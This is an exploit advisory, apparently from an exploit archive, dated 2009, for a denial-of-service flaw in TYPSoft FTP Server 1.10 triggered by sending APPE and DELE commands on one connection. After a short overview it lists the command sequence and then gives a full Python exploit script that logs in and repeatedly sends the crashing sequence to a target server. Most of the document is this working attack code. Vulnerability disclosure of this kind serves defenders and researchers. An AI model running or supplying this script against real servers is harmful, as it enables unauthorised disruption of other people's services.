TYPSoft 1.10 APPE DELE DOS

==========================
TYPSoft 1.10 APPE DELE DOS
==========================


# Title: TYPSoft 1.10 APPE DELE DOS
# CVE-ID: ()
# OSVDB-ID: ()
# Author: leinakesi
# Published: 2009-11-24
# Verified: yes

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Bugtraq: http://seclists.org/bugtraq/2009/Nov/163
 
Date of Discovery: 24-Nov-2009
 
Vendor: TYPSoft
 
Affected:
TYPSoft FTP Server Version 1.10
Earlier versions may also be affected
 
Overview:
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service vulnerability exists in TYPSoft FTP Server
when
 
"APPE" and "DELE" commands are used in the same socket connection.
 
Details:
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to
 
Denial of Service attack:
 
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()
 
 
Severity:
High
 
Exploit example:
 
#!/usr/bin/python
import socket
import sys
import time
 
def Usage():
    print ("Usage:  ./expl.py   <local_ip>  <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 127.0.0.1 127.0.0.1 anonymous anonymous\n")
    print ("Example:./expl.py 192.168.48.183 192.168.48.111 anonymous anonymous\n")
if len(sys.argv) <> 5:
        Usage()
        sys.exit(1)
else:
    local=sys.argv[1]
    hostname=sys.argv[2]
    username=sys.argv[3]
    passwd=sys.argv[4]
    test_string="a"*30
    ip_every=local.split('.')
    for i in range(1,10000):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((hostname, 21))
        except:
            print ("Connection error!")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("user %s\r\n" %username)
        print "[-] "+ ("user %s\r\n" %username)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("pass %s\r\n" %passwd)
        print "[-] "+ ("pass %s\r\n" %passwd)
        r=sock.recv(1024)
        print "[+] "+ r
     
        sock_data.bind((local,31339))
        sock_data.listen(1)
         
        sock.send("PORT " + ip_every[0] +","+ ip_every[1] +","+ ip_every[2] +"," + ip_every[3] + ",122,107\r\n")
        print "[-] "+ ("PORT " + local + "122,107\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
             
        sock.send("APPE "+ test_string +"\r\n")
        print "[-] "+ ("APPE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
         
        sock.send("DELE "+ test_string +"\r\n")
        print "[-] "+ ("DELE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r   
          
        sock.close()
        sock_data.close()
        time.sleep(2)
                 
 
  
 
     
    sys.exit(0);



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